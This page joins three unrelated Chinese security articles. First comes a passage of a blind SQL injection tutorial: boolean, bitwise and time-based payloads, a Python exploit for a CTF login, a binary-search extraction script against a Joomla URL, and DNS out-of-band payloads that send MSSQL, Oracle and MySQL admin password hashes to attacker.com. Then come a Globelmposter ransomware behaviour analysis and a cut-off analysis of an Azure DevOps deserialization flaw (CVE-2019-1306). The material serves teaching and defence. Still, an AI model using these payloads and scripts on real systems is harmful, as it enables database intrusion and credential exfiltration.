的第一个参数为真的时候不会产生错误，为假的时候产生错误，通过这种方式我们就可以判断出我们构造的条件语句的正确与否。
写到这里其实我还想起了一个比较经典的报错方式，就是使用 `floor(rand(0)*2)` 配合 `group by count(*)`
进行报错的方式，虽然之前这个用在报错注入但这里正好可以利用这个进行报错，我们来测试一下
select 1 from admin order by if(1,1,(select count(*) from mysql.user group by floor(rand(0)*2))) limit 0,3;
mysql> select 1 from bsqli order by if(1,1,(select count(*) from mysql.user group by floor(rand(0)*2))) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
2 rows in set (0.39 sec)
mysql> select 1 from bsqli order by if(0,1,(select count(*) from mysql.user group by floor(rand(0)*2))) limit 0,3;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
其实不光是这条语句，很多报错注入的语句也可以直接拿来替换（当然并不是全部，比如 select * from (select
NAME_CONST(version(),1),NAME_CONST(version(),1))x 这个 payload
似乎就不能成功），这里只是一个小小的例子而已，关于这个语句为什么会报错，其实还是一个和有意思的探究，有兴趣的同学可以看一下这篇文章
[传送门](https://www.cnblogs.com/xdans/p/5412468.html)
构造条件语句还有很多方式，这不同的数据库中是由细微差别的，下表列出了一些例子
### **3.高级案例**
这里我想讲的高级技巧就是 MySQL
数据库的位操作，所谓位操作就是将给定的操作数转化为二进制后，对各个操作数每一位都进行指定的逻辑运算，得到的二进制结果转换为十进制数后就是位运算的结果。在我的[一篇文章](http://www.k0rz3n.com/2019/01/30/SQL%20%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%E7%9A%84%E5%B0%8F%E6%80%BB%E7%BB%93/)中在最后的表格里面也列举了mysql
支持的位操作符，包括 | & ^ >> << ~ 这些字符的使用往往能让我们在被严格过滤的情况下柳暗花明。
#### **举几个例子：**
##### **1.使用 &**
mysql> select * from bsqli where id = 1 & 1;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 & 0;
Empty set (0.00 sec)
##### **2.使用 |**
mysql> select * from bsqli where id = 0 | 1;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 0 | 0;
Empty set (0.00 sec)
##### **3.使用 ^**
上面两种可能使用的并不是很多，但是这个 ^ 异或使用的就是非常的频繁的，现在 CTF 动不动就来这个操作
mysql> select * from bsqli where id = 1^0;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1^1;
Empty set (0.00 sec)
当然，还有一个异或是 XOR ，这个异或是逻辑运算符，和 ^ 还是有本质区别的，我们可以把 XOR 理解为求补集的过程
这里其实还可以举一个 CTF 题目出来，正好是我做赛前培训的一到例题：
**index.php**
<!DOCTYPE html>
<html>
<head>
<title>login</title>
</head>
<body>
<from action="index.php?action=login" method="POST">
username: <input type="text" name="username"></br>
password: <input type="password" name="password"></br>
<input type="submit">
</from>
</body>
</html>
<?php
session_start();
require("conn.php");
$action = isset($_GET['action']) ? $_GET['action'] : '';
function filter($str){
$pattern = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($pattern, $str)){
die("hacker");
}
return $str;
}
if($action === 'login'){
$username = isset($_POST['username']) ? filter(strtolower(trim($_POST['username']))) : '';
$password = isset($_POST['password']) ? md5($_POST['password']) : '';
if($username == ''){
die("Invalid username");
}
$result = $mysqli->query("SELECT * FROM users WHERE username = '{$username}'");
$row = mysqli_fetch_array($result);
if(isset($row['username'])){
if($row['password'] === $password){
$_SESSION['username'] = $username;
$_SESSION['flag'] = $row['flag'];
header('Location: index.php?action=main');
}
}else{
echo "Invalid username or password";
}
exit;
}elseif($action === 'main'){
if(!isset($_SESSION['username'])){
header("Location: index.php");
exit;
}
echo "Hello, " . $_SESSION['username'] . ", " . $_SESSION['flag'] . "<br>n";
}else{
if(isset($_SESSION['username'])){
header("Location: index.php?action=main");
exit;
}
}
highlight_file(__FILE__);
?>
可以看到这里过滤了很多东西，但是没有过滤 ^ ，我们可以利用这个点做文章
我们可以构造条件语句来进行对flag字段进行猜解，当语句错误时，查询条件则为 ‘1’^0^’’，得1，数据库查询不到结果，网页会返回’Invalid
username or password’
当语句正确时，查询条件则为 ‘1’^1^’’ ,数据库有返回结果，网页则不返回’Invalid username or
password’。因此可以用它来当语句正确与否的标志，然后逐字猜解即可获得flag
我下面给出这个代码的 exp
**exp.py**
import requests
url = "http://xxx.xxx.xxx.xxx:8300/index.php?action=login"
data = {
"username": "",
"password": "123"
}
payload = "1'^(ascii(mid((flag)from({})))>{})^'"
flag = ""
for i in xrange(1, 39):
start = 32
end = 126
while start < end:
mid = (start + end) / 2
data['username'] = payload.format(str(i), str(mid))
r = requests.post(url, data = data)
if 'Invalid username or password' not in r.content:
start = mid + 1
else:
end = mid
flag += chr(start)
print flag
可以好好看一下这个 payload 部分是怎么构造的，联系一下我们之前讲过的内容分析一下。
##### **4.使用 ~**
这个方法是这样的，当系统不允许输入大的数字的时候，可能是限制了字符的长度，限制了不能使用科学计数法，但是我们还是想让其报错，我们就能采取这种方式，如下所示
mysql> select ~1 ;
+----------------------+
| ~1 |
+----------------------+
| 18446744073709551614 |
+----------------------+
1 row in set (0.00 sec)
mysql> select bin(~1);
+------------------------------------------------------------------+
| bin(~1) |
+------------------------------------------------------------------+
| 1111111111111111111111111111111111111111111111111111111111111110 |
+------------------------------------------------------------------+
1 row in set (0.32 sec)
我想学过二进制的就一目了然了，这种方法往往用在报错注入，但是实际上我之前说了，我还是把这种方式归为布尔盲注里面，请看下面的两个例子
###### **示例1：**
mysql> select * from bsqli where id = 1 and if(1,1,exp(~(select * from (select database())a)));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and if(0,1,exp(~(select * from (select database())a)));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'
###### **示例2：**
mysql> select * from bsqli where id = 1 and if(1,1,1-~1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and if(0,1,1-~1);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 - ~(1))'
##### **5.使用 << 或 >>**
这个想法来源于外国人的一个测试 [文章地址](https://www.exploit-db.com/papers/17073)，实际上这个方法是我们平时用的二分法的优化（好久没看这个 exploit-db 怎么变成这么炫酷了~ 逃
因为这篇文章讲的可以说是文不加点了，所以我就直接将其中的一部分翻译过来做简单的说明
我们想测试 user() 用户的第一个字符，我们需要像下面这样做
**(1)首先我们右移7位，可能的结果是1和0。**
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)
此时说明第一个 Bit 位为 0
0???????
**(2)下一位是0或1所以我们把它和0比较。**
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
此时我们知道第二位 Bit 位为 1
01??????
**(3)接下来的前三位可能有下面两种**
010 = 2
011 = 3
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
说明第三 Bit 是 1
011?????
…
**(8)最后能判断**
mysql> select (ascii((substr(user(),1,1))) >> 0)=114;
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
最终的第一个字符的二进制是：
01110010
mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r |
+-------------+
1 row in set (0.00 sec)
**最终的字符是 r**
##### **6.一点点补充**
同样补充一下关于 inster 和 update 的盲注示例
update users set username = '0' | (substr(user(),1,1) regexp 0x5e5b6d2d7a5d) where id=14;
insert into users values (15,'K0rz3n','0'| (substr(user(),1,1) regexp 0x5e5b6d2d7a5d));
## 0X04 数据提取方法
由于是盲注，我们看不到我们的数据回显，我们只能根据返回去猜解，那么在对数据库一无所知的情况下我们只能一位一位地猜解，这里就会用到一些截断函数以及一些转换函数。
比较常见的是 mid() substr() locate() position() substring() left() regexp like rlike
length() char_length() ord() ascii() char() hex()
以及他们的同义函数等，当然这里还可能会需要很多的转换，比如过滤了等于号可以通过正则或者 in
或者大于小于号等替换之类的，这部分内容我会放在别的文章梳理一下，这里就不赘述了。
### **1.举几个简单的例子：**
#### **示例1**
**测试情况：**
1'and if(length(database())=1,sleep(5),1) # 没有延迟
1'and if(length(database())=2,sleep(5),1) # 没有延迟
1'and if(length(database())=3,sleep(5),1) # 没有延迟
1'and if(length(database())=4,sleep(5),1) # 明显延迟
**说明：** 数据库名字长度为 4
#### **示例2**
**测试情况：**
1'and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1'and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1'and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
**说明:** 数据库名的第一个字符为小写字母d
#### **示例3**
**测试情况：**
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[a-f]' AND
ID=1)
False
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-9]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-4]' AND
ID=1)
False
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-9]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-7]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^5' AND
ID=1)
True
**说明:** 密码 hash 的第一个字符为5
更多函数例如 left 以及更详细的用法指南请见这篇文章的字符串部分
[传送门](http://www.k0rz3n.com/2019/01/30/SQL%20%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%E7%9A%84%E5%B0%8F%E6%80%BB%E7%BB%93/)
### **2.二分法提取数据**
实际上我们上面的例子里面已经涉及到部分二分法的知识了，二分法对于我们猜解来讲是提高效率的非常好的方法，简单的说就是先和范围中间的值进行比较，然后判断数据是在中间值左边部分还是右边部分，然后继续相同的操作，直到正确猜中
想了一下是画图后来觉得不如直接上代码，下面是 C 语言实现二分法查找的一个例子 ：
int search(int arr[],int n,int key)
{
int low = 0,high = n-1;
int mid,count=0;
while(low<=high)
{
mid = (low+high)/2;
if(arr[mid] == key)
return mid;
if(arr[mid]<key)
low = mid + 1;
else
high = mid - 1;
}
return -1;
}
下面是一个示例代码，来源于
[这篇文章](https://www.freebuf.com/articles/web/175049.html)，其实我上面的那个 CTF 题的 EXP
也用的是二分法
# -*- coding:UTF-8 -*- import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i <= 7:
left = 0
right = len(string) - 1
mid = int((left + right) / 2)
print('n')
print(flag)
print('Testing... ' + str(left) + ' ' + str(right))
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
exit()
else:
flag = flag + string[left]
print(flag)
exit()
# 二分法
while 1:
mid = int((left + right) / 2)
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
# 右半部
if ('安全令牌无效') in response.text:
left = mid + 1
print('left:'+str(left))
# 左半部
else:
right = mid
print('right:'+str(right))
if (left == right):
flag = flag + string[left]
break
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
break
else:
flag = flag + string[left]
print(flag)
break
i += 1
print(flag)
## 0X05 高级技巧
这里要讲的高级技巧就是著名的 Blind OOB(out of bind),在盲注中使用 dns 进行外带的技巧，当然这个方法是有限制条件的，
> **要求 :**
> 除了Oracle 支持 windows 和 Linux 系统的攻击以外其他攻击只能在Windows环境下（UNC路径）
### **1.简单介绍：**
服务器可以将 DNS 查询从安全系统转发到互联网中任意 DNS
服务器，这种行为构成了不受控制的数据传输通道的基础。即使我们假设不允许服务器与公共网络连接，如果目标主机能够解析任意域名，也可以通过转发的 DNS
查询进行数据外带。在 sql 盲注中我们通常以逐位方式检索数据，这是非常繁琐且耗时的过程。因此，攻击者通常需要数万个请求来检索常规大小的表的内容。
而这种 DNS
外带的方式，可以使得攻击者通过从易受攻击的数据库管理系统（DBMS）发出特制的DNS请求，攻击者可以在另一端拦截来查看恶意SQL查询（例如管理员密码）的结果，在这种情况下每次能传输数十个字符。
此类攻击最有可能发生在任何接受网络地址的功能上，下面是整个攻击过程的示意图：
### **2.针对 MsSQL**
扩展存储过程是直接在Microsoft SQL Server（MsSQL）的地址空间中运行的动态链接库。攻击者可以使用部分存储过程配合符合 Windows
Universal Naming Convention（通用命名规则UNC）的文件和路径格式来触发 DNS 解析
**格式如下：**
\ComputerNameSharedFolderResource
通过将 ComputerName 设置为自定义的地址的值，攻击者能够完成攻击，下面是可以利用的扩展。存储过程。
#### **1.master..xp_dirtree**
这个扩展存储过程用来获取指定的目录列表和其所有子目录，使用方式如下：
master..xp_dirtree '<dirpath>'
比如想要获取 C:Windows 目录下的所有目录及其子目录
EXEC master..xp_dirtree 'C:Windows';
#### **2.master..xp_fileexist**
这个扩展存储过程能判断某一文件是否在磁盘上，使用方式如下：
xp_fileexist '<filepath>'
例如想要检查 boot.ini 这个文件是否在 C盘
EXEC master..xp_fileexist 'C:boot.ini';
#### **3.master..xp_subdirs**
这个扩展存储过程可以给出指定的目录下的所有目录列表，使用方式如下：
master..xp_subdirs '<dirpath>'
例如：列出 C:Windows 下的所有第一层子目录
EXEC master..xp_subdirs 'C:Windows';
#### **4.实战案例**
下面的例子讲述的是如何通过 master..xp_dirtree() 这个扩展存储过程将 sa 的密码的 哈希值通过 DNS 请求外带
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.attacker.com';
EXEC('master..xp_dirtree "\'+@host+'foobar$"');
使用此预先计算形式是因为扩展存储过程不接受子查询作为给定参数值。 因此使用临时变量来存储SQL查询的结果。
### **3.针对 Oracle**
Oracle提供了一套PL / SQL软件包及其Oracle数据库服务器来扩展数据库功能。 其中几个特别适用于网络访问，从而能很好地在攻击中加以利用。
#### **1.UTL_INADDR.GET_HOST_ADDRESS**
包UTL_INADDR提供了Internet寻址支持 – 例如检索本地和远程主机的主机名和IP地址。 其中成员函数 GET_HOST_ADDRESS（）
检索指定主机的IP地址，使用方法：
UTL_INADDR.GET_HOST_ADDRESS（'<host>'）
例如，要获取主机test.example.com的IP地址，
SELECT UTL_INADDR.GET_HOST_ADDRESS（'test.example.com'）;
#### **2.UTL_HTTP.REQUEST**
包UTL_HTTP从SQL和PL / SQL发出HTTP调用。 它的方法 REQUEST（）可以返回从给定地址获取的前2000个字节的数据，使用方法：
UTL_HTTP.REQUEST('<url>')
例如，想获取
[http://test.example.com/index.php开头的](http://test.example.com/index.php%E5%BC%80%E5%A4%B4%E7%9A%84)
2000 字节数据
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;
#### **3.HTTPURITYPE.GETCLOB**
类HTTPURITYPE的实例方法GETCLOB（）返回从给定地址检索的 [Character Large
Object（CLOB）](https://baike.baidu.com/item/CLOB/6327280)，使用方法：
HTTPURITYPE('<url>').GETCLOB()
例如，要从位于[http://test.example.com/index.php的页面启动内容检索，请运行：](http://test.example.com/index.php%E7%9A%84%E9%A1%B5%E9%9D%A2%E5%90%AF%E5%8A%A8%E5%86%85%E5%AE%B9%E6%A3%80%E7%B4%A2%EF%BC%8C%E8%AF%B7%E8%BF%90%E8%A1%8C%EF%BC%9A)
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
#### **4.DBMS_LDAP.INIT**
包 DBMS_LDAP 使 PL/SQL程序员能够从轻量级目录访问协议（LDAP）服务器访问数据。 它的INIT（）过程用于初始化LDAP服务器的会话，
DBMS_LDAP.INIT(('<host>',<port>)
例如 与 主机 test.example.com 初始化一个链接
SELECT
DBMS_LDAP.INIT((‘test.example.com’,80) FROM
DUAL;
> **注意：**
>
> 攻击者可以使用任何提到的Oracle子例程来激发DNS请求。
> 但是，从Oracle11g开始，可能导致网络访问的子例程受到限制，但DBMS_LDAP.INIT() 除外
#### **5.实战案例**
以下是使用 Oracle程序DBMS_LDAP.INIT()通过DNS解析机制推送系统管理员（SYS）密码哈希的示例
SELECT DBMS_LDAP.INIT((SELECT password
FROM SYS.USER$ WHERE
name=’SYS’)||’.attacker.com’,80) FROM DUAL;
### **4.针对 MySQL**
mysql 相对于前面两个数据库系统来讲就显得方法单一，只提供了一个可以利用的方法，不过还是需要条件的
#### **1.利用条件**
在MySQL中，存在一个称为 “secure_file_priv” 的全局系统变量。此变量用于限制数据导入和导出,例如由LOAD DATA和SELECT …
INTO OUTFILE语句和LOAD_FILE（）函数执行的操作。
(1)如果将其设置为目录名称，则服务器会将导入和导出操作限制为仅适用于该目录中的文件。而且该目录必须存在，服务器不会自动创建它。
(2)如果变量为空(没有设置)，则可以随意导入导出(不安全)
(3)如果设置为NULL，则服务器禁用所有导入和导出操作。 **从MySQL 5.5.53开始，该值为默认值**
另外 ‘secure_file_priv’ 是一个全局变量，且是一个只读变量，这意味着你不能在运行时更改它。
我们可以使用下面的语句查询
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| |
+--------------------+
1 row in set (0.00 sec)
此时我的 mysql 这个选项没有设置，所以可以使用这个方法
#### **1.LOAD_FILE**
mysql 的 LOAD_FILE() 能读取文件内容然后返回对应的字符串，使用方法
LOAD_FILE('<filepath>')
例如想获取 C:Windowssystem.ini 的内容
SELECT LOAD_FILE('C:\Windows\system.ini');
#### **2.实战案例**
以下是使用MySQL函数LOAD_FILE（）通过DNS解析机制推送系统管理员（root）密码哈希的示例：
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\foobar'));
我本地也做了对应的测试
select load_file(concat('\\',@@version,'.9a56627dc016fc8b5c6e.d.zhack.ca\a.txt'));
当然我们可以对这个 payload 进行必要的编码
select load_file(concat(0x5c5c5c5c,@@version,0x2E62383862306437653533326238663635333164322E642E7A6861636B2E63615C5C612E747874));
> **注意:** mysql 编码的时候每个反斜线都要加一个反斜线来转义
这种方式可以用于 union 和 error-base 的 sqli 中，如下
http://192.168.0.100/?id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)),3-- -
http://192.168.0.100/?id=-1' or !(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- -
http://192.168.0.100/?id=-1' or exp(~(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -
当然除了or 你还可以用以下 ||, |, and, &&, &, >>, <<, ^, xor, <=, <, ,>, >=, *, mul, /,
div, -, +, %, mod.
### **5.sqlmap 的扩展**
由于这种在攻击中方便快捷的特性，sqlmap 也进行了响应的扩展来支持这种攻击方式，添加了新的命令行参数 —dns-domain
使用时指定对应的服务器
--dns-domain=attacker.com
但是因为 sqlmap 在运行过程中遵循的是 union 和 error-base 优先级最高的原则，所以只有当攻击是基于 blind
并且用户使用了上面的选项时 dns 攻击才会开始
另外每个得到的DNS解析请求都被编码为十六进制格式，因为这是DNS域名的（事实上的）标准,这样就可以保留所有最终的非单词字符。此外，较长的SQL查询结果的十六进制表示被分成几部分,这样做是因为完整域名内的每个节点的标签（例如.example.）的长度限制为63个字符。
## 0X06 总结
由于 SQLi 的涉及内容太多，我想来想去觉得一篇文章肯定不能全部涵盖，于是这篇文章主要是结合一些案例谈谈我在宏观上对 Blind SQLi
的理解，其他的关于 SQLi Bypass 的内容准备再开一个坑，由于篇幅原因，和时间仓促，文中有些内容难免出现不完善或者错误的情况，请师傅们不吝赐教。
## 0X07 参考链接
<http://www.sqlinjection.net/heavy-query/>
<https://skysec.top/2018/04/04/pwnhub-time-injection%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%96%B0%E6%80%9D%E8%B7%AF/>
<http://php.net/manual/zh/features.persistent-connections.php>
<https://www.freebuf.com/articles/web/30841.html>
<https://www.cnblogs.com/xdans/p/5412468.html>
<https://www.exploit-db.com/papers/17073>
<https://www.freebuf.com/articles/web/175049.html>
<https://www.jianshu.com/p/95c814c515a2>
<https://www.cnblogs.com/ichunqiu/archive/2018/07/24/9360317.html>
<https://www.exploit-db.com/exploits/42033>
<https://www.freebuf.com/vuls/138838.html>
<https://osandamalith.com/2017/03/13/mysql-blind-injection-in-insert-and-update-statements/> | 社区文章 |
**样本简介**
最近接到客户举报，服务器文件被 **勒索软件** 加密，联系客户拿到样本之后，判定该样本为 **Globelmposter家族** 的变种样本。
Globelmposter家族首次发现在2017年5月份，这次发现的样本为Globelmposter家族的最新样本，没有内网传播功能，其加密文件使用.TRUE扩展名，取消了勒索付款的比特币钱包地址以及回传信息的“洋葱”网络地址，而是直接通过邮件地址告知受害者联系，然后取得相应的付款方式，由于Globelmposter采用RSA2048算法加密，目前该勒索样本加密的文件无解密工具。
**行为分析**
1.勒索样本在运行后，首先判断%LOCALAPPDATA%或%APPDATA%环境变量是否存在，如果存在则将自身复制到%LOCALAPPDATA%或%APPDATA%目录，如图所示
相关的反汇编代码如图所示：
2.复制自身到%LOCALAPPDATA%或%APPDATA%目录之后，进行持久化操作，设置自启动项，注册表项为HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\BrowserUpdateCheck实现开机自启动，反汇编代码如图所示：
3.通过内存解密，得到如下图所示的目录字符串列表：
勒索软件在进行加密的时候，会判断是否是以上目录，如果是以上目录则不进行加密操作，如图所示：
4.生成RSA私钥并使用硬编码公钥加密，之后将加密后的密文转换为ASCII码，最后将密文写入%ALLUSERSPROFILE%变量路径中，生成的密钥ID文件如图所示：
5.样本通过RSA算法进行加密，先通过CryptGenRandom随机生成一组128位密钥对，然后使用样本中的硬编码的256位公钥生成相应的私钥，最后生成受害用户的个人ID序列号，然后加密相应的文件夹目录和扩展名，并将生成的个人ID序列号写入到加密文件未尾，如图所示：
6.用户感染相应的勒索样本之后，样本会加密相应的文件夹下的文件，并生成how_to_back_file.html的超文本文件，如图所示：
生成的超文件文件，显示了个人的ID序列号，以及恶意软件作者的联系方式，如图所示：
7.加密完成之后，进行自删除操作，如图所示：
**防御方式**
千里目安全实验室提醒各位小伙伴，平时注意以下安全防范措施：
不要点击来源不明的邮件以及附件
及时给电脑打补丁，修复漏洞
对重要的数据文件定期进行非本地备份
安装专业的终端/服务器安全防护软件
Globelmposter勒索软件之前的变种会利用RDP(远程桌面协议），因此建议用户关闭相应的RDP(远程桌面协议）
尽量关闭不必要的文件共享权限以及关闭不必要的端口，如：445,135,139,3389等 | 社区文章 |
# CVE-2019-1306：Azure DevOps RCE漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2019/10/23/cve-2019-1306-are-you-my-index>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2019年9月，微软公布了安全补丁，以修复 _Azure DevOps (ADO)_ 及 _Team Foundation Server (TFS)_
中的远程代码执行（RCE）漏洞。在这个严重级别的漏洞中，攻击者需要将一个精心构造的文件上传到存在漏洞的ADO或TFS服务器仓库，等待系统索引该文件。成功利用后，就可以在目标系统上实现代码执行效果。该漏洞由[Mikhail
Shcherbakov](https://twitter.com/yu5k3)向ZDI提交，同时小伙伴也提供了[CVE-2019-1306](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1306)的细节分析。
## 0x01 漏洞分析
[BinaryFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter)是.NET平台上常用的二进制序列化类，同时也是一个反序列化类，默认配置下并不安全。早在2012年，James
Forshaw在Black Hat的一次[演讲](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)中已经提到过关于.NET序列化的第一个gadget。随后，.NET开发者开始呼吁“不要使用BinaryFormatter来反序列化不可信的数据”，或者至少不要使用默认配置的BinaryFormatter。然而在现代复杂的系统中，想要区分可信及不可信的数据是非常有挑战的一个任务。典型的例子就是最近被修复的[CVE-2019-1306](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1306)，该漏洞可以影响Microsoft Azure DevOps
Server。
Microsoft Azure DevOps
Server（之前的名称为TFS）是一种CI/CD/源代码控制/问题跟踪/Wiki系统，该系统架构复杂，包含各种功能以及许多内部数据格式，因此是查找不安全反序列化漏洞的一个绝佳目标。由于Azure
DevOps
Server提供了自托管版本，我们可以使用静态及动态方法来分析相关程序。大多数应用使用.NET编写，因此我开发了适用于CIL（通用中间语言）数据流（Data
Flow）及控制流（Control
Flow）的分析工具：[DeReviewer](https://github.com/yuske/DeReviewer)。该工具支持类DSL语法，可以描述存在漏洞的模式及payload，可以自动测试payload、构建调用图，分析可能存在漏洞方法的调用路径。我运行DeReviewer来分析Microsoft
Azure DevOps Server，找到了一个有趣的调用路径，其中涉及到`BinaryFormatter::Deserialize`方法。
我们可以放大上图，发现`Microsoft.VisualStudio.Services.Search.Server.Jobs.dll`程序集中包含`DeserializeToObject`方法。如果我们反编译该方法，就能看到其中以不安全方式使用了`BinaryFormatter`。
## 0x02 漏洞利用
如果攻击者能将任意二进制数组传递给`arrayBytes`参数，那么就有可能实现远程代码执行。然而，`Microsoft.VisualStudio.Services.Search.Server.Jobs.dll`的代码由后台服务[TFSJobAgent](https://docs.microsoft.com/en-us/azure/devops/server/architecture/background-job-agent)所使用，该服务会构建并处理内部索引。`TFSJobAgent`只使用了不安全实现的`DeserializeToObject`来反序列化自己的索引，索引数据看上去非常可信。接下来让我们详细分析`TFSJobAgent`的具体设计细节。
当`TFSJobAgent`服务加载Azure
DevOps组织账户Wiki页面的索引时，就会调用`DeserializeToObject`方法。`TFSJobAgent`服务会使用多个方法来创建并更新Wiki索引，其中一种方法涉及到一个爬虫（crawler），爬虫会监控Git仓库，当有新的改动被push到服务端时，就会更新对应的索引。用户需要设置Azure
DevOps账户，以便在Git中存储Wiki页面。系统上权限较低的用户只需要在Web接口中点击“Publish code as
wiki”就能完成该操作。在这种情况下，`TFSJobAgent`服务会运行爬虫，解析新的Wiki内容，随后将结果序列化为索引文件，目前一切操作看上去都比较安全。`Microsoft.VisualStudio.Services.Search.Parser.WikiParserExecutor`类会转换来自Git的二进制内容，使用`Markdig`库将其解析为Markdown格式。负责这些逻辑的代码片段如下所示：
看到这段代码时，我都有点难以置信。如果`Markdig`在解析Wiki页面内容时抛出异常，那么该方法就会使用未解析的二进制来初始化`ParsedData`类。随后，`Content`字段会被存储在索引中。后续代码期望内部索引数据已经经过验证，会使用`DeserializeToObject`方法来重构`ParsedMarkDownData`对象。因此，我们需要找到一些无效的Markdown文本来触发异常，将该文本与payload组合使用，存放到文件中，将文件push到Git作为Wiki页面。这看上去是实现RCE的不错思路。Azure
DevOps
Server并没有使用最新版的`Markdig`库，这也方便我们搜索哪些是无效的Markdown文本。我从[GitHub](https://github.com/lunet-io/markdig)上下载了Markdig库的源码，首先查看了单元测试。我在对应版本的Markdig上测试了`Markdig.Tests.MiscTests::TestInvalidCodeEscape`，解析器的确会抛出异常。根据此次测试，攻击者可以使用“`**Header**t来内容的正常解析逻辑。整个探索过程只花了我10分钟，让我们拥抱开源及GitHub！
